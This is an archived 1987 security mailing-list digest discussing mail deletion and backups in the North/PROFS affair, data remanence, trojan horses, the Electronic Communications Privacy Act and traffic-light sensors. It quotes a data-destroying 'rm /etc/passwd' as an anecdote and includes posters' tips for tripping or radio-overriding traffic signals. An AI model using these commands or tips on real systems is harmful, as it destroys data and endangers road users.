I could re-enable this code. Their hack is not optional on a per-site basis; they don't offer a version with mode lines to those sites willing to risk it. I prefer the simpler policy of cutting off the fingers of anyone who leaves a trojan horse around without my permission. tanner andrews, systems compudata south, deland From: Douglas Humphrey 20-Mar-1987 11:07:41 To: brock@pnet01.CTS.COM, crash!security@rutgers@nosc.mil Subj: [1520] Re: North, Pointy, et al (so to speak) All I can say about it is that if they had been running OUR system rather than PROFFS then their messages really would have gotten deleted ! Still, I would think that an organization like the NSC should have the proper support by agencys to avoid such a simple, stupid problem. I don't expect our customers to be knowledgable about these things; that what they pay US for. What agency is charged (if any) with the job of COMSEC and related security ? Would that be NSA? A thing to note here. They did have correct levels of security there, with the entire facility Tempest, and running at Top Secret. The problem here is not one of clasic COMSEC; the bad guys getting into the system. What happened here was the creation of an audit trail when the users did not want one to happen. You can argue that this kind of accountability is good or not; it did allow what actualy happened to come to light (no political flames here please, this is just a technical discussion), but it can also be argued that the user is the ultimate authority in the circumstance, and that when they say 'delete and do not archive' then that is what should happen. If there was a decision taken that the system should auto-archive all message traffic, then the users should have been explicitly warned of this, and often ! Doug Digital Express Inc. From: steinar@NTA-VAX.ARPA (Steinar Haug RUNIT) 23-Mar-1987 09:10:31 To: security@RUTGERS.EDU Subj: [631] Standard format for RSA cryptosystems I would like to know if there have been any reactions, discussion etc. regarding the article: "A proposed standard format for RSA cryptosystems", by P. Zimmermann, IEEE Computer September 1986. Arpanet: Steinar Haug steinar@nta-vax Database Research Group, Computing Centre at the Univ. of Trondheim 7034 Trondheim-NTH Norway From: "IFSM 190/0101; Student" 25-Mar-1987 21:38:56 To: "security" Subj: [787] disposing garbage Why not use an incenerator where the ashes are recycled back into the fire a couple of times..... and then the smoke is sprayed with a mist of water to keep paper particles from leaving the area and reburned until the whole mess was up in flames.... then you could release it... this would only be effective for large(!!!) massive amounts of classified material... does anyone know anything about the unix hacker that is moving passwords around the country? he gets a file from NJ and moves it to NY and then the ppl can't log on w/ their own passwords.... I didn't hear the whole story but thats what I gathered. Whizard From: Mike Linnig 27-Mar-1987 15:29:50 To: security@rutgers.edu Subj: [727] Traffic Light Sensors Does anyone out there know anything about the photo sensors that you can see on top of traffic lights? I have heard that they detect emergency vehicles (who use a special strobe) and switch the traffic light to green. Are the strobes coded or do the sensors just detect a certain flash frequency? I tried watching the strobe of an emergency vehicle but it is too fast to tell much with out a video tape. The strobe's flashes do seem to be in irregular bursts, indicating a code of some kind. I also wonder if the codes change (if they are coded) from city to city? Mike From: *Hobbit* 8-Apr-1987 21:12:09 To: security Subj: [519] Admininstrivia Resending has sagged a bit due to the domain-names-only host table conversion. I therefore had to fix *my* entire list so it would work again, and naturally there were some additional quirks. I think I have it straight now, but please notify security-request of any problems. Most mailer errors return to me, but if you get any consistent ones please forward them... Hang on, here comes lots of stuff! _H* From: Chris Yoder 1-Apr-1987 04:24:38 To: cit-vax!security@red.rutgers.edu Subj: [2922] System monitoring software (For those of you who get both Info-Vax and Security-Info I apologize for the double posting. I thought that this might be a good place to post this message, and besides that, we need some traffic in this group!) I would like to get comments from anybody about system monitoring software that runs under VMS 4.5. I'm specifically interested in software that will record everything that happens during an interactive terminal session in a manner that is completely transparent to the user. Analysis tools to help pinpoint users that be considered "security risks" from the recorded data is also necessary. I am interested in hearing about how the package is installed (including where the software ends up, what software is installed, what kinds of privs it wants, etc.), how well the package works (both software and documentation), any holes/serious bugs that you've found and any person opinions that you might have about the software. On the more specific side, I have just finished evaluating Clyde Digital Systems' CONTRL, AUDIT and RTMON software packages, and I'd like to share war stories with anyone else who has or is running any or all of these packages (I've a *long*, very rough report on it, but if you want it send me mail). CONTRL is fun, but I am most interested in AUDIT and RTMON. While running AUDIT with RTMON under it, Vaxsim showed that our system was collecting a rather alarming number of SysBugChk (%x00000058) Events. Before and after the evaluation period of AUDIT and RTMON *no* events were being logged by Vaxsim, during the evaluation period I saw this number above 4,000. We suspect RTMON as the culprit because the system crashed once during this period with the current process being a process that was logged in over DECnet and analyzing the crash dump showed that the crash was caused by R5 being set to 0. Circumstantial evidence seemed to indicate that UPdriver caused R5 to be set to 0. Has anyone else been able to pin down UPdriver of the RTMON package as the culprit for a system crash or an unusually high number of errors on the system? Oh I also discovered another gotcha, with both CONTRL and RTMON installed under VMS 4.5, the process running CONTRL will crash the system when CONTRLing a user logged in on a virtual terminal over a terminal server who disconnects. I haven't tried to deliberately recreate this one because users tend to get a little upset when the system goes down for no apparent reason... If anybody else has had any similar experiences, I'd love to hear about them. -- Chris Yoder UUCP -- {allegra or ihnp4}!scgvaxd!engvax!chris Hughes Aircraft Company Internet -- chris%engvax.scg.hac.com@ymir.bitnet ARPA -- chris%engvax.uucp@usc-oberon.usc.edu From: chuq@Sun.COM (Chuq Von Rospach) 3-Apr-1987 15:48:07 To: LINNIG@ti-eg.csnet, security@rutgers.edu Subj: [599] Re: Traffic Light Sensors > Does anyone out there know anything about the photo sensors that you > can see on top of traffic lights? > > I have heard that they detect emergency vehicles (who use a special strobe) > and switch the traffic light to green. They use a strobe. If you have a nice, strong engine timing light and set it up so you can change the frequency, you adjust it so taht it'll set them off. I wouldn't let the cops catch you doing it, though... From: Dick Peters 3-Apr-1987 18:12:46 To: SECURITY@RED.RUTGERS.EDU Subj: [1377] Re: North, Pointy, et al (so to speak) Since we run PROFS ourselves, I do not think the problem was that stuff was not actually delete from the system when the files were erased. PROFS actually does erase mail files when they are discarded. From the sources I talked to at a recent conference, I believe they fell into the trap of good system management. In order to prevent massive data loss in case of a disaster, their system management does periodic backups of all files (including mail files) on the system. These tapes are retained for a period of time and then recycled. In fact, my source said that the critical tapes were almost ready to be recycled when they were examined. On the other side of the coin, One of IBM's big selling points on PROFS is that in a properly managed data center, PROFS prevents the loss of corporate assets (data) by accidental or intentional actions since the data is managed by a central site rather than being on a PC. All their documentation states that for non mail files (i.e. document files), that these files are maintained centrally and will not be lost even if removed by the user. My understanding was that the discovered files were, however, mail files rather than document files. From: "Keith F. Lynch" 4-Apr-1987 15:46:29 To: Security@RED.RUTGERS.EDU Subj: [1443] Deleting messages I wouldn't be so sure that messages are really deleted. I understand there are ways to reconstruct OVERWRITTEN data on a disk, given sufficient time and resources. SECRET disks must be overwritten several times with various bit patterns before being unclassified, and SCI disks must be physically destroyed. Users desires are often in conflict. They may want deleted things to be really deleted, but they probably also want a way to recover something that was accidentally deleted. The usual resolution of this is to fix it so that deleted things are not really deleted, but can only be recovered by the vendor. This may be construed as dishonest, but the only way the client would ever find out that deleted things aren't really deleted is if he asks you to undelete something, or if the authorities ask you to undelete something. In the latter case, while you may lose the clients, it doesn't really matter since they are quite likely in jail. And what if you deliver a system which REALLY deletes things, but the local system staff does regular backups, or the end user reads his messages in hardcopy and then files them in a filecabinet or a dumpster? True deletion requires a complete overview, which neither the vendor nor the end user or the local system staff generally has. ...Keith From: Simson L. Garfinkel 5-Apr-1987 11:54:24 To: security@red.rutgers.edu Subj: [886] Trojan Horses in Editor Start-Up Files From: codas!ki4pv!tanner@rutgers.edu I prefer the simpler policy of cutting off the fingers of anyone who leaves a trojan horse around without my permission. Assuming that you find out that somebody left the trojan horse around in the first place. The cleaver people who break security don't announce the fact -- they just use their extra access whenever necessary, always very discretely. If I have a setuid program that makes me you so I can do things like read your personal files, and I hid it in a protected sub directory, how are you doing to find out that I'm reading your personal files? How often to you look at the last access time on filestamps? Simson L. Garfinkel MIT Media Lab From: Douglas Humphrey 4-Apr-1987 21:25:16 To: Security@RED.RUTGERS.EDU Subj: [1883] Re: Deleting messages In the system that we have here, you have the choice as the sender of the message to determine if you want the ARCHIVE bit set on or not. ARCHIVE function assures that the message will get logged as archived in a list online, and that the end of the day Archive tape will include this message. Note that the archival tapes are encrypted, and that two copies are kept, one onsite and one off. U can have the bit set automaticaly for certain classes of messages, but in all cases the system will remind you that the message is getting archived. As to erasure of deleted messages, the standard guidlines are followed for the deletion of Secret information. A number of passes are made on the file blocks, writting selected patters (patterns) of data. All to the recomendations of the folks up the Parkway from here (we are in Greenbelt MD). If the system were ever to handle SCI or higher data, then provisions would have to be made to destroy disk storage media when it had filled up, and of course to assure that once a disk block was used it was not used again. The system already has the capability to use a particular disk device for a particular class of message. Obviously, the important thing here is that the user needs to be very aware of exactly where their data is going, and what is being done with it when it is sensitive data. If North and company had known that all of their wonderful data was going to around for people to see, then I expect that there might have been held an emergency destruction drill at the NSC office that might have included the system hardware itself ! Since they are running IBM and PROFFS, this would seem to be no great loss.... Lets here it for a better educated user community !! Doug From: E Gordon Strong <@EDDIE.MIT.EDU:GS@DEEP-THOUGHT.MIT.EDU> 6-Apr-1987 13:38:20 To: security@RED.RUTGERS.EDU Subj: [704] Unix Security info requested Could someone provide pointers to recent papers/books/etc addressing the question of security under unix? I am particularly interested in information relating to NCSC ratings of unix-based systems. Information on available security software (auditing programs, security kernels, etc) or any first-hand information on sites running "secure" installations would be very helpful. Any information would be appreciated. Please reply directly as I am not a regular reader of this list. Gordon Strong gs%ee@mit-xx (Arpa) gs@mit-eddie (uucp) From: 7-Apr-1987 10:24:35 To: security@red.rutgers.edu Subj: [4710] don't put out a welcome mat There have been some security related discussions on the TCP-IP mailing list recently, as a result of somebody accidentally sending a message to just about every machine on the internet. I found the implications of the last part of the following message rather disturbing, and thought it should be shared with the readers of "security". Selden Ball system@crnlns.bitnet ------------------ Date: Mon, 06 Apr 87 10:55:12 -0800 From: Robert Allen Subject: Re: My Broadcast > Whoa! > > Encouraging people to find holes and then use them to make the local system > programmers work on them is wrong. It is like encouraging people to find out > if their neighbors lock their door during the day so they will. Do you really > want that or do you want the theives to be caught? I want the theives to be > caught and the ability to leave my door open. I don't want to fear my > neighborhood or my users. While this doesn't deal directly with TCP-IP, it is a *very* important consideration in the Internet in particular, and any network in general. Often a so-called 'breakin' does not even require that a user maliciously "try their neighbors doors" to see if they can gain restricted permissions or access. Often curiosity alone is enough to cause problems. Example 1: a first-time UNIX user was learning about the file system, and in particular how to delete files. He was told that he could only delete files owned by him, and by way of counterexample his mentor typed "rm /etc/passwd". Surprise, /etc was writeable and the file was gone. Example two: the recent rlogin breakins at Stanford. Example 3: Obviously if you have hardware access to the transmission medium you can unintentionally wreak havoc merely by using someone elses IP address. I too would like to live in a word where I can leave my "door unlocked". Unfortunately it doesn't take more than a very few nasty or ignorant persons to cause problems. Due to the fact that computers have evolved in an atmosphere of sharing (time sharing, memory sharing, src sharing..) we have yet to realize the responsibilities and risks of trusting them too much. I.e., there is a big difference between leaving your door unlocked but closed, and spreading $20.00 bills on your front lawn. In the case of J. Hubbards 'wall' to the Net, the problem was not caused by a malicious person, but by simple curiosity. At the recent TCP/IP Conference in Monterey CA, some discussion was given to "network security". From the military standpoint they want the ability to send data through a network, such that anyone who captures the data won't be able to read or use it. While this may be a prerequisite for the military, I don't think that 'normal' users should expect that their Email be any more secure than their USMail. The best method of keeping something secure on a network is to physically seperate it. Or, do what I do, and don't put anything on the system which you wouldn't read by someone else under the worst case scenario. Fixing security 'features' is obviously important, and should be pursued. Catching malicious persons doing damage is also extremely important. But "catching the theives" is not the answer to a lack of network security. If your network rolls out a red-carpet to someone then don't be surprised if you find muddy footprints on it the next morning. I leave you with two examples quoted from the January 1987 issue of the ACM Software Engineering Notes... "The computer security administrator at Roche ... had been plagued by a hacker who auto-dialed the entire Roche phone system in sequence. .... They laid a hacker trap on one of the PC's and traced the call. Once the suspect was found, it was even harder to get him arrested since he was in New York, and Roche in New Jersey (which got the FBI involved). The perp was brought into the police station and had the riot act read to him... He was not charged -- because there wasn't a **no-trespassing** sign on the hacker trap identifying the system as private proberty of Roche." " "Welcome to the ______ System" ... A Mass. financial firm that had attempted to prosecute a hacker who had penetrated their system. The defense lawyer argued that the system had a greeting that welcomed people to the system, and that was tantamount to welcoming someone intor your home. The judge threw out the case, accepting the arguments of the defense.." Robert Allen, robert@spam.istc.sri.com From: McNelly.OsbuSouth@Xerox.COM 9-Apr-1987 13:05:28 To: brock@pnet01.CTS.COM Subj: [1159] Re: North, Pointy, et al (so to speak) You know, I heard about that, and I said to myself, boy that was stupid, if it had been ME... and I started thinking. If it had been me, first of all, I would have told the President what a stupid idea it was to provide Iran with arms in exchange for hostages. But NoooOOooOoo, he does it anyway, and now we've been found out. I would do what I could to protect the presidency. I would do that by shredding all the incriminating paper evidence. But I know there's going to be an investigation, and people are going to want to know why I shredded this stuff if there's nothing to hide. This is the beauty. I get the archived hard disks, and I patch the mail messages to say something that, while still incriminating, isn't so bad as the full-blown truth. I then wait for the disks to be discovered. The investigators eventually find the disks, and they laugh at me for being so stupid. But the jokes on them, if they think that archives can't be tampered with. John McNelly McNelly.osbuSouth@Xerox.COM From: David M. Balenson 10-Apr-1987 14:50:35 To: security@RUTGERS.EDU Subj: [4438] DES Second Review For your information, here is a copy of the Federal Register Notice regarding the second review of Federal Information Processing Standard (FIPS) 46, Data Encryption Standard (DES). If interested, please submit your written comments by June 4, 1987. The more comments we receive, the better NBS will be able to take a stance regarding the future of DES. Please feel free to distribute this notice to all who may be interested. Thank you. David M. Balenson (DB) [balenson@icst-ssi.ARPA] Security Technology Group / Computer Security Division National Bureau of Standards Technology A216 Gaithersburg, Maryland 20899 (301) 975-2910 ---------------------------------------------------------------------- Federal Register / Vol. 52, No. 44 / Friday, March 6, 1987 / Notices ---------------------------------------------------------------------- National Bureau of Standards [Docket No. 70109-7009] Second Review of Federal Information Processing Standard 46, Data Encryption Standard (DES) AGENCY: National Bureau of Standards, Commerce. ACTION: Notice of second review of federal information processing standard (FIPS) 46, data encryption standard. ---------------------------------------------------------------------- SUMMARY: Federal Information Processing Standard 46, Data Encryption Standard, issued in 1977, provides an algorithm to be implemented in electronic hardware devices and used for the cryptographic protection of computer data. The standard provided that it be reviewed within five years to assess its adequacy. The first review was completed in 1983, and the standard was reaffirmed for Federal government use (48 FR 41062 dated September 13, 1983). The purpose of this notice is to announce the second review to assess the continued adequacy of the standard to protect computer data. Comments from industry and the public are invited on the following alternatives for FIPS 46. The costs (impacts) and benefits of these alternatives should be included in the comments. o Reaffirm the standard for another five (5) years. The National Bureau of Standards would continue to validate equipment that implements the standard. FIPS 46 would continue to be an approved method for protecting unclassified computer data against unauthorized modification or disclosure. o Withdraw the standard. The National Bureau of Standards would no longer continue to support the standard. Organizations could continue to utilize existing equipment that implements the standard, and non-government organizations could continue to develop new implementations as desired. Government organizations would begin to utilize new security devices as they become available through the Commercial Communication Security Endorsement Program of the National Security Agency. o Revise the applicability of the standard. The applicability statement of the standard would be changed to specify certain uses, such as using the standard for protecting Electronic Funds Transfers. Proposed technical changes to the algorithm will not be considered during this review. Interested parties may obtain a copy of FIPS 46 from the National Technical Information Service (NTIS), 5285 Port Royal Road, Springfield, VA 22161, telephone (703) 487-4650. DATE: Comments on this second review of FIPS 46 must be received on or before June 4, 1987. ADDRESS: Written comments concerning this standard should be submitted to the Director, Institute for Computer Sciences and Technology, ATTN: Second Review of FIPS 46, Technology Building, Room B154, Gaithersburg, MD 20899. Written comments received in response to this notice will be made part of the public record and will be made available for inspection and copying in the Central Reference and Records Inspection Facility, Room 6628, Herbert C. Hoover Building, 14th Street between Pennsylvania and Constitution Avenues NW., Washington, DC 20230. FOR FURTHUR INFORMATION CONTACT: Dr. Dennis Branstad, Institute for Computer Sciences and Technology, National Bureau of Standards, Gaithersburg, MD 20899, (301) 975-2913. Dated: February 26, 1987. Ernest Ambler, Director [FR Doc. 87-4707 Filed 3-5-87 8:45am] Billing Code 3510-CN-M ---------------------------------------------------------------------- From: ag@pnet01.CTS.COM (Keith Gabryelski) 11-Apr-1987 15:59:23 To: crash!security@rutgers.arpa@nosc.mil Subj: [608] Re: Deleting messages Granted, your typical delete-a-file fuction does not actually erase the data from the disk, but actually marks the space as unused for later reallocation. This, however, has an easy remedy: You would simply modify your delete fuction to first overwrite the file with zeros, or your favorite ASCII character, before it marks the space as 'unused'. This process would ensure that a file that is deleted would be completely erased from the medium. Pax, Ag From: bzs@bu-cs.bu.edu (Barry Shein) 12-Apr-1987 13:38:53 To: KFL@AI.AI.MIT.EDU Subj: [1290] Deleting messages I've seen an amusing variation at some installations. Typically, for some reason (which seemed clever at the time), the system's mgt decides to use a tape archive (eg. UNIX CPIO or TAR) to do backups rather than some rational utility. A good example of a reason is that you can use a 'find' pipe with CPIO and back up files only if the meet some condition which, if you like, can be quite convuluted (> N days old, > N bytes, !owned by system etc), usually to save tape and backup time. Well, these utilities back up files, but not deletions. If a disaster occurs and the system has to be recreated one sees all the deleted files return to disk with whatever protections they happened to have when backed up. Needless to say someone who (eg) was going on sabbatical for a year and cleaned up all their sensitive files might be somewhat miffed to come back and find they had been sitting back on the disk for the past 11 months. Obviously the fix is to also backup recent copies of the state of the directories and apply those last, but this doesn't seem to be done by these sites when they report problems on the technical lists. -Barry Shein, Boston University From: "Keith F. Lynch" 12-Apr-1987 17:45:51 To: Security@RED.RUTGERS.EDU Subj: [2239] Reconstructing overwritten data I don't know exactly how. I think it involves careful measurement of residual magnetism. For instance if the magnetism of a binary 0 is nominally -100 and of a binary 1 is nominally +100, then a 0 overwritten with a 1 might be +98, a 0 overwritten with a 0 might be -102, a 1 overwritten with a 0 might be -98, and a 1 overwritten with a 1 might be +102. A normal disk drive might accept anything less than -30 as a 0 and anything more than +30 as a 1, but a special disk drive could be built which reads the actual amount of magnetism, and software could then be written to use this drive to reconstruct erased data. (The actual details would be a little different - I think most disk systems use a transition between magnetic domains to encode a bit, not the domains themselves.) I know there are similar devices in use for reconstructing data from a damaged or crashed disk. I understand they are extremely slow and very expensive, but they do exist, and they do work. The way to REALLY delete data is to overwrite it with all 0s, then overwrite it with all 1s, and then overwrite it with a random pattern of bits. This is how disks classified SECRET must be erased to be declassified. But apparently it is believed that a sufficiently determined person could even read through this, as disks containing data with a higher classification must be destroyed to be declassified. Of course most DELETE, KILL, PURGE, DEL and rm commands do not even overwrite the data, but simply remove the pointer to it. Which is how it is possible for programs like the Norton utilities to un- delete a deleted file. This was a major problem with VMS before version 4.0 - a user could (and still can if the system manager isn't on the ball) create a large file and not write into it and read lots of other people's deleted files. Everything above applies equally to hard disks, floppy disks, magnetic tapes, and magnetic core - not to RAM or ROM though. North, et al, had their mail files read not by any of these techniques but simply from backups that were routinely made. ...Keith From: bzs@bu-cs.bu.edu (Barry Shein) 12-Apr-1987 21:19:25 To: Security@RED.RUTGERS.EDU Subj: [596] Deleting files The other problem with backup procedures that don't backup deletions is lord help you if the disk was almost full when the disaster struck and the restoral exceeds 100% of the disk (as you needed those deletions to make it all fit, not uncommon as often almost full disks get preened constantly to fit the next thing on.) The resulting games when the restoral utility fails due to a full disk are generally not a pretty sight (site?) -Barry Shein, Boston University From: Michael Robinson 14-Apr-1987 02:09:34 To: SECURITY@RED.RUTGERS.EDU Subj: [780] Re: Trojan Horses in Editor Start-Up Files > From: codas!ki4pv!tanner@rutgers.edu > > I prefer the simpler policy of cutting off the fingers of anyone who > leaves a trojan horse around without my permission. > ^^^^^^^^^^^^^^^^^^^^^ Now there has to be some interesting psychology in that, although I'm sure that the writer didn't notice. What would prompt him to give his permission to anyone to do such a thing? And what would give him the authority to say? The best of security systems are viewed from the outside and pronounced invulnerable. But they are most easily attacked from the inside. From: 11-May-1987 08:29:49 To: security@red.rutgers.edu Subj: [1514] Electronic mail privacy I just received the following message. Does anybody have any more information? Selden E. Ball, Jr. (Wilson Lab's network and system manager) Cornell University NYNEX: +1-607-255-0688 Laboratory of Nuclear Studies BITNET: SYSTEM@CRNLNS Wilson Synchrotron Lab ARPA: SYSTEM%CRNLNS.BITNET@WISCVM.WISC.EDU Judd Falls & Dryden Road PHYSnet/HEPnet/SPAN: Ithaca, NY, USA 14853 LNS61::SYSTEM = 44283::SYSTEM (node 43.251) **************** From: Jerry Bryan Subject: Respite from 80-column wars To: SELDEN BALL The following is a (partial) quote from an IBM ad I saw in the April 27-th issue of "InformationWeek". I assume it will (or has) run in many other periodicals as well. "Good news for those who value privacy ...... Thanks to recent legislation, the laws that cover data security now cover more. There are stiff new penalties and new protections. Prying into electronic mail is now as criminal as opening the U.S. Mail and even the government cannot intrude without a warrent...." "... as criminal as opening the U.S. Mail ..." is pretty heavy stuff. Does this have anything to do with BITNET? Is this the correct list on which to raise such a question (e.g., what about discussions of mail encryption, etc.)? From: Henry Mensch 13-May-1987 15:07:20 To: security@RED.RUTGERS.EDU Subj: [2617] Re: The Electronic Communications Privacy Act This is what the MIT community (in general) was told about how this law affects our work. It sounds to me like the ECPA is talking about BITNET also. (Of course, the Act has no clue about "ownership" of data--they don't ever seem to define it). This is a copy of a letter published in Tech Talk. Anyone who did not read that memo should look read it. Be sure to note that operators of electronic communication systems now have legal responsibilities for the privacy of data. [Thanks also to Joe Harrington who forwarded a copy. _H*] MEMORANDUM To: The MIT Community From: James D.Bruce, Vice President for Information Systems Re: The Electronic Communications Privacy Act The Electronic Communications Privacy Act of 1986 was enacted by the United States Congress in October of last year to protect the privacy of users of wire and electronic communications. Legal counsel has advised MIT that its computer network and the files stored on its computers are covered by the law's provisions. Specifically, individuals who access electronic files without appropriate authorization could find themselves subject to criminal penalties under this new law. At this time, we can only make broad generalizations about the impact of the Act on MIT's computing environment. Its actual scope will develop as federal actions are brought against individuals who are charged with inappropriate access to electronic mail and other electronic files. It is clear, however, that under the Act, an individual who, without authorization, accesses an electronic mail queue is liable and may be subject to a fine of $5,000 and up to six months in prison, if charged and convicted. Penalties are higher if the objective is malicious destruction or damage of information, or private gain. The law also bars unauthorized disclosure of information within an electronic mail system by the provider of the service. This bars MIT (and other providers) from disclosing information from an individual's electronic data files without authorization from the individual. MIT students and staff should be aware that it is against Institute policy and federal law to access the private files of others without authorization. MIT employees should also note that they are personally liable under the Act if they exceed their authorization to access electronic files. From: Dick Peters 13-May-1987 16:48:30 To: SECURITY@RED.RUTGERS.EDU Subj: [762] Re: Electronic mail privacy This clearly affects BITNET as it does any network. On the other hand, mail is as private on BITNET as any other network which does not employ encription. On bitnet, mail is private and cannot be looked at by other general computing users on the system (at least the IBM portions). Just as on other systems, the privileged user (super-user), who is usually in the systems programming staff, can examine mail. I believe this flaw exists on most computing architectures. I believe that all installations will have to examine this law and determine the risks to their staff and organizations. From: wbaker%ic.Berkeley.EDU@BERKELEY.EDU 14-May-1987 08:28:42 To: Security@RED.RUTGERS.EDU@ucbvax.Berkeley.EDU Subj: [1073] Re: Digest of accumulated msgs about traffic light sensors So basically, nobody REALLY knows whats going on with these things, just there is alot of folklore about them floating about. Not too usefull if you ask me... And to quote Doug Humphrey: "... I doubt seriously that the pattern of a strobe light is used for IFF (sic) in the case of traffic controllers since strobe lights are hard to modulate reliably due to the fact that they are based on high voltage systems that generally use the ionization of gas to determine when the strobe goes off, and are thus not very accurate in a timing sort of way." I might suggest you recheck your facts, and possibly reconsider. A visit your local service station should be convincing enough, however if not then a trip to the local camera store might offer more evidence. A book on high-speed photography might also be in order; most book stores carry them. Geezzzuuus. W From: Rob Aitken 14-May-1987 12:39:10 To: security@RED.RUTGERS.EDU Subj: [595] Prying into electronic mail Re: Recent quote from IBM ad in "InformationWeek" Regardless of the legal penalties for prying into electronic mail, it seems to me that enforcement will be difficult if not impossible. The nature of messages makes them readily readable by anyone, much more akin to postcards than sealed letters. I will still refrain from mailing anything that I would not want in the public domain. Rob Aitken, Alberta Research Council, Calgary AB From: DAVID%NERVM.BITNET@wiscvm.wisc.edu (David Nessl, Univ. of Fla.) 14-May-1987 14:19:30 To: SECURITY@RED.RUTGERS.EDU Subj: [2061] re: Electronic mail privacy The IBM ad you read was talking about the Electronic Communications Privacy Act of 1986, passed by Congress on 02-Oct-1986, and signed into law on 21-Oct-1986, and became effective 90 days later. It's known as Public Law 99-508. It's basically in two parts: (1) Ammendments to the existing U.S. Code, Title 18, chapter 119, starting with section 2510, which deals with interception of communications, formerly dealing with just the telephone (wiretapping), but has been updated to be more general: "common carrier" is now "electronic communications service provider", i.e. _any_ service which lets users send or receive electronic communications; and electronic communications are no longer limited to "oral", and now specifically include the use of computer facilities. Anyone intercepting, ordering the interception, or using the data from an interception, when not acting as the service provider for maintenance or protection of the system, is still committing a criminal offense, and can still be sued in civil court. (2) The addition of chapter 121 to U.S. Code, Title 18, starting with section 2701, which protects stored electronic communication, i.e. before the communication is sent and after it is received; chapter 119 (above) handles communications in transit. The act amends several other sections. I've just mentioned the ones related to running a computer or computer network. Also please note that I'm not an attorney, just a systems programmer. However -- we've been unfortunate enough to have a case here in which this law may get tested. Any comments as to the strengths/weaknesses of this law, particularly as related to interception of an employee's electronic communications, would be greatly appreciated. David Nessl BITNET: david@nervm Internet: david%nervm.bitnet@wiscvm.wisc.edu (Disclaimer: the above views do not relect those of my employer.) From: ssr@tumtum.cs.umd.edu 14-May-1987 14:40:19 To: gymble!harvard!axiom!security!;@mimsy.umd.edu, AWalker@RED.RUTGERS.EDU Subj: [1175] Re: Digest of accumulated msgs about traffic light sensors The traffic lights here in the DC metro area are activated by stobes but use a multiple repetition sequence (i.e. two flashes per sec. followed by a three second blank) to ferret out phreaks and other undesirable signals. The strobe must also be of a considerable candlepower (i.e. a photo flash won't even get close). During rush hour the real busy intersections are radio synched in order to keep the flow of traffic steady. The freq. is somewhere in the 490 MHz area. The actual information is only a simple set of 20 - 25 tones that are transmitted in pre-set intervals over 2 - 3 minuets and then repeat. All the associated traffic lights have directional antennas aimed at the base station (which is on Ft. Reno Dr. and Wisconsin Ave. for anyone interested). It strikes me that one could use a scanner to find the tone associated with ones favorite traffic light and just use a low power x-mitter to override the traffic light as one approaches. ssr From: James M Galvin 14-May-1987 16:29:41 To: security@red.rutgers.edu Subj: [1147] Re: Electronic mail privacy > Prying into electronic mail is> now as > criminal as opening the U.S. Mail and even the government > cannot intrude without a warrent...." Sorry, but prying into electronic mail can be a necessary evil. If a host is using a less than optimal mail system (of which many are), then when things get stuck or broken, someone has to look at the addresses in the message. This may or may not require reviewing the message. Note that the situation is not analogous to the "dead letter office" of a postal service, since all mail should contain a return address. It may not be correct, meaning both completely inaccurate or simply unparsable, but that is a separate issue. As for electronic mail privacy in general, I would love a good discussion, moderator permitting. I know plenty about it (and lack of it). What would you like to know? Jim [Isn't there a more appropriate mailing list where such things are discussed continually and at length? If not, then go for it... _H*] From: cheshire@OLDBORAX.LCS.MIT.EDU (Richard Cheshire) 14-May-1987 19:43:20 To: SYSTEM%CRNLNS.BITNET@wiscvm.wisc.edu, security@red.rutgers.edu Subj: [572] Re: Electronic mail privacy Great! There's legislation to stop it! Harrah! After all, look at how much drug legislation there is, and how it has decreased drug trafficing. There are more and more laws regulating automobiles, so there will be fewer accidents. That legislation also treats head on the "Human Nature" issues. How? Just by making things illegal. Cheshire A.K.A The Cheshire Catalyst From: Fred Blonder 14-May-1987 23:18:15 To: awalker@red.rutgers.edu Subj: [1116] Re: Digest of accumulated msgs about traffic light sensors Date: Fri, 17 Apr 87 17:00:38 CST From: paul@uxc.cso.uiuc.edu (Paul Pomes - The Wonder Llama) . . . One possible variation on using a timing light to trip the lights would be to filter out the visible portion of the spectrum leaving UV and IR. Depending on the sensitivity of the detector and the transmission properties of intervening materials, the sensor could be triggered by an invisible means. The "obvious solution" (well, I admit there'd be problems) would be to have a directional SOUND sensor on the traffic lights which listens for a siren. Since non-emergency use of a siren is already illegal in most places, coupled with he fact that it's difficult to use a siren without anyone noticing ( :-) ) traffic-light phreaks won't (shouldn't (mightn't)) be much of a problem. It'd also be one less thing to hang on emergency vehicles. ---- Fred Blonder (301) 454-7690 seismo!mimsy!fred Fred@Mimsy.umd.edu From: McNelly.OsbuSouth@Xerox.COM 15-May-1987 16:10:16 To: AWalker@RED.RUTGERS.EDU Subj: [491] Re: Digest of accumulated msgs about traffic light sensors I heard a rumor that their answer to "traffic light phreaks" is to set the traffic lights to turn red for all four directions upon detection of the strobe. Emergency vehicles can still proceed through the empty intersection, and there is negative incentive for traffic light phreaks to mess with the lights. -- John -- From: Jeffrey R Kell 18-May-1987 15:24:45 To: SECURITY@RED.RUTGERS.EDU Subj: [1417] Re: Prying into electronic mail >Re: Recent quote from IBM ad in "InformationWeek" > >Regardless of the legal penalties for prying into electronic mail, it >seems to me that enforcement will be difficult if not impossible. The >nature of messages makes them readily readable by anyone, [...] (1) Does this make you subject to prosecution should you simply "see" a message within the scope of your designated duties (ie, watching a line monitor, updating a mailer daemon/DVM, acting as postmaster)? (2) Is this law even applicable to public (and/or Internet) networks in the first place? It would appear only applicable to common-carrier nets or services such as MCI-Mail, Telenet, Comshare, etc. If you have two tin cans and a piece of string between offices, such facilities are not subject to FCA telecommunications restrictions :-) +-----------------------------------+----------------------------------+ | Jeffrey R Kell, Dir Tech Services | Bell: (615)-755-4551 | | Admin Computing, 117 Hunter Hall |Bitnet: JEFF@UTCVM.BITNET | | Univ of Tennessee at Chattanooga |Internet address below: | | Chattanooga, TN 37403 |JEFF%UTCVM.BITNET@WISCVM.WISC.EDU | +-----------------------------------+----------------------------------+ From: Brint Cooper 19-May-1987 10:11:08 To: security@RED.RUTGERS.EDU Subj: [816] Re: The Electronic Communications Privacy Act Henry Mench writes, quoting the Vice President for Information Systems: > Specifically, individuals who access electronic files without > appropriate authorization could find themselves subject to criminal > penalties under this new law. It seems that "appropriate authorization" is the governing concept. In the typical Unix environment (if there is such a thing), it is routinely assumed that files made readable by the public carry the implicit presumption of permission to read. If the law fails to recognize this, then every one of us who has ever read his neighbor's C code to get the solution to a programming problem has broken the law. _Brint From: "David D. Story" 20-May-1987 00:56:17 To: security@RED.RUTGERS.EDU Subj: [1130] Electronic Mail Security I would think that the service would have to be specifically a mail service or system. This would fall under the intended use of a system and messages such a wayward system messages, ARPAlist messages and others do not fill the definition of mail. It would be the service that is responsible legally and the rest would fall under ordinary privacy laws. This would inline with UPS, Fed Express, Purolator, 